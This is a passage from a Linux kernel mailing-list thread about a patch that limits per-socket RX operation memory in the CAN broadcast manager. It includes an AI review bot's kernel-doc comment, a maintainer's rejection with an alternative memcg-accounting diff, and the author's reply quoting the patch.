https://sashiko.dev/#/patchset/cover.1793109154.git.zihanx@nebusec.ai?part=1 ^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-28 13:53 ` sashiko-bot @ 2026-10-28 14:14 ` zihan xi 0 siblings, 0 replies; 13+ messages in thread From: zihan xi @ 2026-10-28 14:14 UTC (permalink / raw) To: sashiko-reviews Cc: linux-can, Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol, Oleksij Rempel On Wed, Oct 28, 2026 at 9:53 PM <sashiko-bot@kernel.org> wrote: > > Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider: > - [Low] can: misplaced kernel-doc comment above can_rx_register_internal() > -- > > commit 6e185f899c0a564d22495ef1e055cc4b9c9b27f0 > Author: Zihan Xi <zihanx@nebusec.ai> > > can: bcm: limit RX operation resource usage per socket > > This patch bounds the number and total allocation size of RX operations per > BCM socket to prevent kernel memory exhaustion. It also introduces > can_rx_register_with_release() so the socket's receiver count remains > charged until the RCU grace period completes. > > Link: https://bugtracker.nebusec.ai/f/11134 > > > diff --git a/net/can/af_can.c b/net/can/af_can.c > > index 34fe3b28d576f..a3f0ed35fbb52 100644 > > --- a/net/can/af_can.c > > +++ b/net/can/af_can.c > > @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, > > * -ENOMEM on missing cache mem to create subscription entry > > * -ENODEV unknown device > > */ > > -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > > - canid_t mask, void (*func)(struct sk_buff *, void *), > > - void *data, char *ident, struct sock *sk) > > +static int can_rx_register_internal(struct net *net, struct net_device *dev, > > + canid_t can_id, canid_t mask, > > + void (*func)(struct sk_buff *, void *), > > + void *data, char *ident, struct sock *sk, > > + void (*release)(struct sock *sk)) > > [Severity: Low] > When splitting can_rx_register() into can_rx_register_internal() and the > exported wrapper in net/can/af_can.c, can_rx_register_internal() is placed > directly beneath the existing kernel-doc comment for can_rx_register(): > > /** > * can_rx_register - subscribe CAN frames from a specific interface > ... > */ > static int can_rx_register_internal(struct net *net, struct net_device *dev, > canid_t can_id, canid_t mask, > void (*func)(struct sk_buff *, void *), > void *data, char *ident, struct sock *sk, > void (*release)(struct sock *sk)) > > Doesn't this cause scripts/kernel-doc (under W=1 builds) to warn that the > prototype is for can_rx_register_internal() instead of can_rx_register() > and that the release parameter is not described? > > Should the kernel-doc comment be moved down to the exported > can_rx_register() wrapper (or updated to match the function it precedes)? > > -- > Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793109154.git.zihanx@nebusec.ai?part=1 Thanks for the review. I’ll move the kernel-doc comment above the exported can_rx_register() wrapper and verify it with a W=1 build and scripts/kernel-doc. ^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-28 13:43 ` [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi 2026-10-28 13:53 ` sashiko-bot @ 2026-10-28 15:04 ` Oliver Hartkopp 2026-10-28 15:36 ` zihan xi 1 sibling, 1 reply; 13+ messages in thread From: Oliver Hartkopp @ 2026-10-28 15:04 UTC (permalink / raw) To: Zihan Xi, linux-can, mkl; +Cc: urs.thuermann, davem, vega Just in the case it was not clear to you here: https://lore.kernel.org/linux-can/350df96b-5f69-490e-b39e-ed6e9bca4754@hartkopp.net/ Your patch does not solve the problem and will not be merged. Please stop sending updates. FYI it will go into this direction below, when the current patches are upstream. I already have a prepared patch for this issue. Best regards, Oliver (..) Enable memcg accounting instead, as it has been done for other allocations that can be triggered by unprivileged users: - use GFP_KERNEL_ACCOUNT for the bcm_op structures and their frames and last_frames arrays in bcm_tx_setup() and bcm_rx_setup() - create the rcv_cache with SLAB_ACCOUNT, which covers the CAN receivers of all CAN protocols (..) --- a/net/can/af_can.c +++ b/net/can/af_can.c @@ -919,7 +919,7 @@ static __init int can_init(void) rcv_cache = kmem_cache_create("can_receiver", sizeof(struct receiver), - 0, 0, NULL); + 0, SLAB_ACCOUNT, NULL); --- a/net/can/bcm.c +++ b/net/can/bcm.c @@ -1155,7 +1155,7 @@ static int bcm_tx_setup(...) - op = kzalloc(OPSIZ, GFP_KERNEL); + op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT); @@ -1172,7 +1172,7 @@ static int bcm_tx_setup(...) op->frames = kmalloc_array(msg_head->nframes, op->cfsiz, - GFP_KERNEL); + GFP_KERNEL_ACCOUNT); @@ -1403,7 +1403,7 @@ static int bcm_rx_setup(...) - op = kzalloc(OPSIZ, GFP_KERNEL); + op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT); @@ -1418,7 +1418,7 @@ static int bcm_rx_setup(...) op->frames = kmalloc_array(msg_head->nframes, op->cfsiz, - GFP_KERNEL); + GFP_KERNEL_ACCOUNT); @@ -1427,7 +1427,7 @@ static int bcm_rx_setup(...) op->last_frames = kcalloc(msg_head->nframes, op->cfsiz, - GFP_KERNEL); + GFP_KERNEL_ACCOUNT); (..) On 28.10.26 14:43, Zihan Xi wrote: > BCM sockets can create an unbounded number of RX operations. Each > operation allocates memory outside of the socket buffer accounting, > so a single unprivileged socket can exhaust kernel memory. > > Bound the number and aggregate allocation size of RX operations per > socket. Keep the charge until the operation and its frame arrays are > freed. Also keep a receiver count charged until the CAN core releases > the receiver after its RCU grace period, so repeated setup/delete > requests cannot bypass the limits while callbacks are pending. > > Return -ENOBUFS when a socket reaches either limit. Existing operations > can still be updated without additional charges. > > Fixes: ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol") > Cc: stable@vger.kernel.org > Reported-by: Vega <vega@nebusec.ai> > Link: https://bugtracker.nebusec.ai/f/11134 > Signed-off-by: Zihan Xi <zihanx@nebusec.ai> > --- > include/linux/can/core.h | 7 +++ > net/can/af_can.c | 34 ++++++++++- > net/can/af_can.h | 1 + > net/can/bcm.c | 127 +++++++++++++++++++++++++++++++++------ > 4 files changed, 147 insertions(+), 22 deletions(-) > > diff --git a/include/linux/can/core.h b/include/linux/can/core.h > index 2de74c2b78b6..89b9d0a2dcc1 100644 > --- a/include/linux/can/core.h > +++ b/include/linux/can/core.h > @@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev, > void (*func)(struct sk_buff *, void *), > void *data, char *ident, struct sock *sk); > > +/* release runs from an RCU callback and must not sleep. */ > +int can_rx_register_with_release(struct net *net, struct net_device *dev, > + canid_t can_id, canid_t mask, > + void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk, > + void (*release)(struct sock *sk)); > + > extern void can_rx_unregister(struct net *net, struct net_device *dev, > canid_t can_id, canid_t mask, > void (*func)(struct sk_buff *, void *), > diff --git a/net/can/af_can.c b/net/can/af_can.c > index 34fe3b28d576..a3f0ed35fbb5 100644 > --- a/net/can/af_can.c > +++ b/net/can/af_can.c > @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, > * -ENOMEM on missing cache mem to create subscription entry > * -ENODEV unknown device > */ > -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > - canid_t mask, void (*func)(struct sk_buff *, void *), > - void *data, char *ident, struct sock *sk) > +static int can_rx_register_internal(struct net *net, struct net_device *dev, > + canid_t can_id, canid_t mask, > + void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk, > + void (*release)(struct sock *sk)) > { > struct receiver *rcv; > struct hlist_head *rcv_list; > struct can_dev_rcv_lists *dev_rcv_lists; > struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats; > > + if (release && !sk) > + return -EINVAL; > + > /* insert new receiver (dev,canid,mask) -> (func,data) */ > > if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev))) > @@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > rcv->data = data; > rcv->ident = ident; > rcv->sk = sk; > + rcv->release = release; > > hlist_add_head_rcu(&rcv->list, rcv_list); > dev_rcv_lists->entries++; > @@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > > return 0; > } > + > +int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > + canid_t mask, void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk) > +{ > + return can_rx_register_internal(net, dev, can_id, mask, func, data, > + ident, sk, NULL); > +} > EXPORT_SYMBOL(can_rx_register); > > +int can_rx_register_with_release(struct net *net, struct net_device *dev, > + canid_t can_id, canid_t mask, > + void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk, > + void (*release)(struct sock *sk)) > +{ > + return can_rx_register_internal(net, dev, can_id, mask, func, data, > + ident, sk, release); > +} > +EXPORT_SYMBOL(can_rx_register_with_release); > + > /* can_rx_delete_receiver - rcu callback for single receiver entry removal */ > static void can_rx_delete_receiver(struct rcu_head *rp) > { > struct receiver *rcv = container_of(rp, struct receiver, rcu); > struct sock *sk = rcv->sk; > + void (*release)(struct sock *sk) = rcv->release; > > kmem_cache_free(rcv_cache, rcv); > + if (release) > + release(sk); > if (sk) > sock_put(sk); > } > diff --git a/net/can/af_can.h b/net/can/af_can.h > index 87887014f562..2fa4cf8c1314 100644 > --- a/net/can/af_can.h > +++ b/net/can/af_can.h > @@ -57,6 +57,7 @@ struct receiver { > void *data; > char *ident; > struct sock *sk; > + void (*release)(struct sock *sk); > struct rcu_head rcu; > }; > > diff --git a/net/can/bcm.c b/net/can/bcm.c > index 3d637a1e0ac1..477bdc1e8745 100644 > --- a/net/can/bcm.c > +++ b/net/can/bcm.c > @@ -58,6 +58,7 @@ > #include <linux/can/skb.h> > #include <linux/can/bcm.h> > #include <linux/slab.h> > +#include <linux/overflow.h> > #include <linux/workqueue.h> > #include <linux/spinlock.h> > #include <net/can.h> > @@ -127,6 +128,7 @@ struct bcm_op { > void *last_frames; > struct canfd_frame sframe; > struct canfd_frame last_sframe; > + size_t rx_mem; > struct sock *sk; > struct net_device *rx_reg_dev; > netdevice_tracker rx_reg_dev_tracker; > @@ -141,6 +143,9 @@ struct bcm_sock { > struct list_head notifier; > struct list_head rx_ops; > struct list_head tx_ops; > + unsigned int rx_op_count; > + size_t rx_mem_used; > + atomic_t rx_receiver_count; > unsigned long dropped_usr_msgs; > struct proc_dir_entry *bcm_proc_read; > char procname [32]; /* inode number in decimal with \0 */ > @@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head) > #define OPSIZ sizeof(struct bcm_op) > #define MHSIZ sizeof(struct bcm_msg_head) > > +/* Bound the resources consumed by RX operations on one BCM socket. */ > +#define BCM_MAX_RX_OPS 1024 > +#define BCM_MAX_RX_MEM (16 * 1024 * 1024) > + > /* > * procfs functions > */ > @@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops, > return NULL; > } > > +/* Called with the socket lock held. */ > +static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem) > +{ > + if (bo->rx_op_count >= BCM_MAX_RX_OPS || > + rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used) > + return false; > + > + bo->rx_op_count++; > + bo->rx_mem_used += rx_mem; > + return true; > +} > + > +/* Called with the socket lock held. */ > +static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem) > +{ > + if (!rx_mem) > + return; > + > + if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem)) > + return; > + > + bo->rx_op_count--; > + bo->rx_mem_used -= rx_mem; > +} > + > +static void bcm_rx_receiver_release(struct sock *sk) > +{ > + struct bcm_sock *bo = bcm_sk(sk); > + > + WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0); > +} > + > +/* Called with the socket lock held. */ > +static int bcm_rx_register(struct bcm_op *op, struct net_device *dev) > +{ > + struct bcm_sock *bo = bcm_sk(op->sk); > + int err; > + > + if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) { > + atomic_dec(&bo->rx_receiver_count); > + return -ENOBUFS; > + } > + > + err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id, > + REGMASK(op->can_id), bcm_rx_handler, > + op, "bcm", op->sk, > + bcm_rx_receiver_release); > + if (err) > + atomic_dec(&bo->rx_receiver_count); > + > + return err; > +} > + > static void bcm_free_op_work(struct work_struct *work) > { > struct bcm_op *op = container_of(work, struct bcm_op, work); > + struct sock *sk = op->sk; > + size_t rx_mem = op->rx_mem; > > hrtimer_cancel(&op->timer); > hrtimer_cancel(&op->thrtimer); > @@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work) > if ((op->last_frames) && (op->last_frames != &op->last_sframe)) > kfree(op->last_frames); > > - /* the last possible access to op->timer/op->thrtimer has now > - * happened above via hrtimer_cancel() - op->sk is no longer > - * needed by any pending timer callback, so drop our reference > + kfree(op); > + /* > + * Keep the RX budget charged until the operation and its frame arrays > + * have actually been freed. op->sk holds a reference while this work is > + * pending, so the socket remains valid while updating its accounting. > */ > - sock_put(op->sk); > + if (rx_mem) { > + lock_sock(sk); > + bcm_rx_op_uncharge(bcm_sk(sk), rx_mem); > + release_sock(sk); > + } > > - kfree(op); > + /* Drop the reference held for the operation and any pending timer. */ > + sock_put(sk); > } > > static void bcm_free_op_rcu(struct rcu_head *rcu_head) > @@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > { > struct bcm_sock *bo = bcm_sk(sk); > struct bcm_op *op; > + size_t rx_mem, frames_size, arrays_size; > int do_rx_register; > int new_op = 0; > int err = 0; > @@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0; > > } else { > + /* > + * Charge the operation and its frame arrays before allocating > + * them or registering a CAN receiver. nframes is already bounded > + * above, but keep the size arithmetic explicitly overflow-safe. > + */ > + rx_mem = sizeof(*op); > + if (msg_head->nframes > 1) { > + if (check_mul_overflow((size_t)msg_head->nframes, > + (size_t)CFSIZ(msg_head->flags), > + &frames_size) || > + check_mul_overflow(frames_size, (size_t)2, > + &arrays_size) || > + check_add_overflow(rx_mem, arrays_size, &rx_mem)) > + return -EOVERFLOW; > + } > + > + if (!bcm_rx_op_charge(bo, rx_mem)) > + return -ENOBUFS; > + > /* insert new BCM operation for the given can_id */ > op = kzalloc(OPSIZ, GFP_KERNEL); > - if (!op) > + if (!op) { > + bcm_rx_op_uncharge(bo, rx_mem); > return -ENOMEM; > + } > > spin_lock_init(&op->bcm_tx_lock); > spin_lock_init(&op->bcm_rx_update_lock); > @@ -1425,6 +1518,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > op->nframes = msg_head->nframes; > op->cfsiz = CFSIZ(msg_head->flags); > op->flags = msg_head->flags; > + op->rx_mem = rx_mem; > > if (msg_head->nframes > 1) { > /* create array for CAN frames and copy the data */ > @@ -1432,8 +1526,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > op->cfsiz, > GFP_KERNEL); > if (!op->frames) { > - kfree(op); > - return -ENOMEM; > + err = -ENOMEM; > + goto free_op; > } > > /* create and init array for received CAN frames */ > @@ -1441,9 +1535,8 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > op->cfsiz, > GFP_KERNEL); > if (!op->last_frames) { > - kfree(op->frames); > - kfree(op); > - return -ENOMEM; > + err = -ENOMEM; > + goto free_op; > } > > } else { > @@ -1532,11 +1625,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > dev = dev_get_by_index(sock_net(sk), ifindex); > if (dev) { > - err = can_rx_register(sock_net(sk), dev, > - op->can_id, > - REGMASK(op->can_id), > - bcm_rx_handler, op, > - "bcm", sk); > + err = bcm_rx_register(op, dev); > > /* keep a tracked reference so that a later > * unregister can safely reach the device even > @@ -1558,9 +1647,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > } > > } else { > - err = can_rx_register(sock_net(sk), NULL, op->can_id, > - REGMASK(op->can_id), > - bcm_rx_handler, op, "bcm", sk); > + err = bcm_rx_register(op, NULL); > } > > if (err) { > @@ -1593,6 +1680,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > if (op->last_frames != &op->last_sframe) > kfree(op->last_frames); > kfree(op); > + bcm_rx_op_uncharge(bo, rx_mem); > return err; > } > > @@ -1896,6 +1984,7 @@ static int bcm_init(struct sock *sk) > bo->ifindex = 0; > bo->dropped_usr_msgs = 0; > bo->bcm_proc_read = NULL; > + atomic_set(&bo->rx_receiver_count, 0); > > INIT_LIST_HEAD(&bo->tx_ops); > INIT_LIST_HEAD(&bo->rx_ops); ^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-28 15:04 ` Oliver Hartkopp @ 2026-10-28 15:36 ` zihan xi 2026-10-28 16:04 ` Oliver Hartkopp 0 siblings, 1 reply; 13+ messages in thread From: zihan xi @ 2026-10-28 15:36 UTC (permalink / raw) To: Oliver Hartkopp; +Cc: linux-can, mkl, urs.thuermann, davem, vega On Wed, Oct 28, 2026 at 11:04 PM Oliver Hartkopp <socketcan@hartkopp.net> wrote: > > Just in the case it was not clear to you here: > > https://lore.kernel.org/linux-can/350df96b-5f69-490e-b39e-ed6e9bca4754@hartkopp.net/ > > Your patch does not solve the problem and will not be merged. > > Please stop sending updates. > > FYI it will go into this direction below, when the current patches are > upstream. I already have a prepared patch for this issue. > > Best regards, > Oliver > > (..) > > Enable memcg accounting instead, as it has been done for other > allocations that can be triggered by unprivileged users: > - use GFP_KERNEL_ACCOUNT for the bcm_op structures and their frames and > last_frames arrays in bcm_tx_setup() and bcm_rx_setup() > - create the rcv_cache with SLAB_ACCOUNT, which covers the CAN receivers > of all CAN protocols > > (..) > > --- a/net/can/af_can.c > +++ b/net/can/af_can.c > @@ -919,7 +919,7 @@ static __init int can_init(void) > rcv_cache = kmem_cache_create("can_receiver", sizeof(struct receiver), > - 0, 0, NULL); > + 0, SLAB_ACCOUNT, NULL); > --- a/net/can/bcm.c > +++ b/net/can/bcm.c > @@ -1155,7 +1155,7 @@ static int bcm_tx_setup(...) > - op = kzalloc(OPSIZ, GFP_KERNEL); > + op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT); > @@ -1172,7 +1172,7 @@ static int bcm_tx_setup(...) > op->frames = kmalloc_array(msg_head->nframes, > op->cfsiz, > - GFP_KERNEL); > + GFP_KERNEL_ACCOUNT); > @@ -1403,7 +1403,7 @@ static int bcm_rx_setup(...) > - op = kzalloc(OPSIZ, GFP_KERNEL); > + op = kzalloc(OPSIZ, GFP_KERNEL_ACCOUNT); > @@ -1418,7 +1418,7 @@ static int bcm_rx_setup(...) > op->frames = kmalloc_array(msg_head->nframes, > op->cfsiz, > - GFP_KERNEL); > + GFP_KERNEL_ACCOUNT); > @@ -1427,7 +1427,7 @@ static int bcm_rx_setup(...) > op->last_frames = kcalloc(msg_head->nframes, > op->cfsiz, > - GFP_KERNEL); > + GFP_KERNEL_ACCOUNT); > > (..) > > On 28.10.26 14:43, Zihan Xi wrote: > > BCM sockets can create an unbounded number of RX operations. Each > > operation allocates memory outside of the socket buffer accounting, > > so a single unprivileged socket can exhaust kernel memory. > > > > Bound the number and aggregate allocation size of RX operations per > > socket. Keep the charge until the operation and its frame arrays are > > freed. Also keep a receiver count charged until the CAN core releases > > the receiver after its RCU grace period, so repeated setup/delete > > requests cannot bypass the limits while callbacks are pending. > > > > Return -ENOBUFS when a socket reaches either limit. Existing operations > > can still be updated without additional charges. > > > > Fixes: ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol") > > Cc: stable@vger.kernel.org > > Reported-by: Vega <vega@nebusec.ai> > > Link: https://bugtracker.nebusec.ai/f/11134 > > Signed-off-by: Zihan Xi <zihanx@nebusec.ai> > > --- > > include/linux/can/core.h | 7 +++ > > net/can/af_can.c | 34 ++++++++++- > > net/can/af_can.h | 1 + > > net/can/bcm.c | 127 +++++++++++++++++++++++++++++++++------ > > 4 files changed, 147 insertions(+), 22 deletions(-) > > > > diff --git a/include/linux/can/core.h b/include/linux/can/core.h > > index 2de74c2b78b6..89b9d0a2dcc1 100644 > > --- a/include/linux/can/core.h > > +++ b/include/linux/can/core.h > > @@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev, > > void (*func)(struct sk_buff *, void *), > > void *data, char *ident, struct sock *sk); > > > > +/* release runs from an RCU callback and must not sleep. */ > > +int can_rx_register_with_release(struct net *net, struct net_device *dev, > > + canid_t can_id, canid_t mask, > > + void (*func)(struct sk_buff *, void *), > > + void *data, char *ident, struct sock *sk, > > + void (*release)(struct sock *sk)); > > + > > extern void can_rx_unregister(struct net *net, struct net_device *dev, > > canid_t can_id, canid_t mask, > > void (*func)(struct sk_buff *, void *), > > diff --git a/net/can/af_can.c b/net/can/af_can.c > > index 34fe3b28d576..a3f0ed35fbb5 100644 > > --- a/net/can/af_can.c > > +++ b/net/can/af_can.c > > @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, > > * -ENOMEM on missing cache mem to create subscription entry > > * -ENODEV unknown device > > */ > > -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > > - canid_t mask, void (*func)(struct sk_buff *, void *), > > - void *data, char *ident, struct sock *sk) > > +static int can_rx_register_internal(struct net *net, struct net_device *dev, > > + canid_t can_id, canid_t mask, > > + void (*func)(struct sk_buff *, void *), > > + void *data, char *ident, struct sock *sk, > > + void (*release)(struct sock *sk)) > > { > > struct receiver *rcv; > > struct hlist_head *rcv_list; > > struct can_dev_rcv_lists *dev_rcv_lists; > > struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats; > > > > + if (release && !sk) > > + return -EINVAL; > > + > > /* insert new receiver (dev,canid,mask) -> (func,data) */ > > > > if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev))) > > @@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > > rcv->data = data; > > rcv->ident = ident; > > rcv->sk = sk; > > + rcv->release = release; > > > > hlist_add_head_rcu(&rcv->list, rcv_list); > > dev_rcv_lists->entries++; > > @@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > > > > return 0; > > } > > + > > +int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > > + canid_t mask, void (*func)(struct sk_buff *, void *), > > + void *data, char *ident, struct sock *sk) > > +{ > > + return can_rx_register_internal(net, dev, can_id, mask, func, data, > > + ident, sk, NULL); > > +} > > EXPORT_SYMBOL(can_rx_register); > > > > +int can_rx_register_with_release(struct net *net, struct net_device *dev, > > + canid_t can_id, canid_t mask, > > + void (*func)(struct sk_buff *, void *), > > + void *data, char *ident, struct sock *sk, > > + void (*release)(struct sock *sk)) > > +{ > > + return can_rx_register_internal(net, dev, can_id, mask, func, data, > > + ident, sk, release); > > +} > > +EXPORT_SYMBOL(can_rx_register_with_release); > > + > > /* can_rx_delete_receiver - rcu callback for single receiver entry removal */ > > static void can_rx_delete_receiver(struct rcu_head *rp) > > { > > struct receiver *rcv = container_of(rp, struct receiver, rcu); > > struct sock *sk = rcv->sk; > > + void (*release)(struct sock *sk) = rcv->release; > > > > kmem_cache_free(rcv_cache, rcv); > > + if (release) > > + release(sk); > > if (sk) > > sock_put(sk); > > } > > diff --git a/net/can/af_can.h b/net/can/af_can.h > > index 87887014f562..2fa4cf8c1314 100644 > > --- a/net/can/af_can.h > > +++ b/net/can/af_can.h > > @@ -57,6 +57,7 @@ struct receiver { > > void *data; > > char *ident; > > struct sock *sk; > > + void (*release)(struct sock *sk); > > struct rcu_head rcu; > > }; > > > > diff --git a/net/can/bcm.c b/net/can/bcm.c > > index 3d637a1e0ac1..477bdc1e8745 100644 > > --- a/net/can/bcm.c > > +++ b/net/can/bcm.c > > @@ -58,6 +58,7 @@ > > #include <linux/can/skb.h> > > #include <linux/can/bcm.h> > > #include <linux/slab.h> > > +#include <linux/overflow.h> > > #include <linux/workqueue.h> > > #include <linux/spinlock.h> > > #include <net/can.h> > > @@ -127,6 +128,7 @@ struct bcm_op { > > void *last_frames; > > struct canfd_frame sframe; > > struct canfd_frame last_sframe; > > + size_t rx_mem; > > struct sock *sk; > > struct net_device *rx_reg_dev; > > netdevice_tracker rx_reg_dev_tracker; > > @@ -141,6 +143,9 @@ struct bcm_sock { > > struct list_head notifier; > > struct list_head rx_ops; > > struct list_head tx_ops; > > + unsigned int rx_op_count; > > + size_t rx_mem_used; > > + atomic_t rx_receiver_count; > > unsigned long dropped_usr_msgs; > > struct proc_dir_entry *bcm_proc_read; > > char procname [32]; /* inode number in decimal with \0 */ > > @@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head) > > #define OPSIZ sizeof(struct bcm_op) > > #define MHSIZ sizeof(struct bcm_msg_head) > > > > +/* Bound the resources consumed by RX operations on one BCM socket. */ > > +#define BCM_MAX_RX_OPS 1024 > > +#define BCM_MAX_RX_MEM (16 * 1024 * 1024) > > + > > /* > > * procfs functions > > */ > > @@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops, > > return NULL; > > } > > > > +/* Called with the socket lock held. */ > > +static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem) > > +{ > > + if (bo->rx_op_count >= BCM_MAX_RX_OPS || > > + rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used) > > + return false; > > + > > + bo->rx_op_count++; > > + bo->rx_mem_used += rx_mem; > > + return true; > > +} > > + > > +/* Called with the socket lock held. */ > > +static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem) > > +{ > > + if (!rx_mem) > > + return; > > + > > + if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem)) > > + return; > > + > > + bo->rx_op_count--; > > + bo->rx_mem_used -= rx_mem; > > +} > > + > > +static void bcm_rx_receiver_release(struct sock *sk) > > +{ > > + struct bcm_sock *bo = bcm_sk(sk); > > + > > + WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0); > > +} > > + > > +/* Called with the socket lock held. */ > > +static int bcm_rx_register(struct bcm_op *op, struct net_device *dev) > > +{ > > + struct bcm_sock *bo = bcm_sk(op->sk); > > + int err; > > + > > + if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) { > > + atomic_dec(&bo->rx_receiver_count); > > + return -ENOBUFS; > > + } > > + > > + err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id, > > + REGMASK(op->can_id), bcm_rx_handler, > > + op, "bcm", op->sk, > > + bcm_rx_receiver_release); > > + if (err) > > + atomic_dec(&bo->rx_receiver_count); > > + > > + return err; > > +} > > + > > static void bcm_free_op_work(struct work_struct *work) > > { > > struct bcm_op *op = container_of(work, struct bcm_op, work); > > + struct sock *sk = op->sk; > > + size_t rx_mem = op->rx_mem; > > > > hrtimer_cancel(&op->timer); > > hrtimer_cancel(&op->thrtimer); > > @@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work) > > if ((op->last_frames) && (op->last_frames != &op->last_sframe)) > > kfree(op->last_frames); > > > > - /* the last possible access to op->timer/op->thrtimer has now > > - * happened above via hrtimer_cancel() - op->sk is no longer > > - * needed by any pending timer callback, so drop our reference > > + kfree(op); > > + /* > > + * Keep the RX budget charged until the operation and its frame arrays > > + * have actually been freed. op->sk holds a reference while this work is > > + * pending, so the socket remains valid while updating its accounting. > > */ > > - sock_put(op->sk); > > + if (rx_mem) { > > + lock_sock(sk); > > + bcm_rx_op_uncharge(bcm_sk(sk), rx_mem); > > + release_sock(sk); > > + } > > > > - kfree(op); > > + /* Drop the reference held for the operation and any pending timer. */ > > + sock_put(sk); > > } > > > > static void bcm_free_op_rcu(struct rcu_head *rcu_head) > > @@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > { > > struct bcm_sock *bo = bcm_sk(sk); > > struct bcm_op *op; > > + size_t rx_mem, frames_size, arrays_size; > > int do_rx_register; > > int new_op = 0; > > int err = 0; > > @@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0; > > > > } else { > > + /* > > + * Charge the operation and its frame arrays before allocating > > + * them or registering a CAN receiver. nframes is already bounded > > + * above, but keep the size arithmetic explicitly overflow-safe. > > + */ > > + rx_mem = sizeof(*op); > > + if (msg_head->nframes > 1) { > > + if (check_mul_overflow((size_t)msg_head->nframes, > > + (size_t)CFSIZ(msg_head->flags), > > + &frames_size) || > > + check_mul_overflow(frames_size, (size_t)2, > > + &arrays_size) || > > + check_add_overflow(rx_mem, arrays_size, &rx_mem)) > > + return -EOVERFLOW; > > + } > > + > > + if (!bcm_rx_op_charge(bo, rx_mem)) > > + return -ENOBUFS; > > + > > /* insert new BCM operation for the given can_id */ > > op = kzalloc(OPSIZ, GFP_KERNEL); > > - if (!op) > > + if (!op) { > > + bcm_rx_op_uncharge(bo, rx_mem); > > return -ENOMEM; > > + } > > > > spin_lock_init(&op->bcm_tx_lock); > > spin_lock_init(&op->bcm_rx_update_lock); > > @@ -1425,6 +1518,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > op->nframes = msg_head->nframes; > > 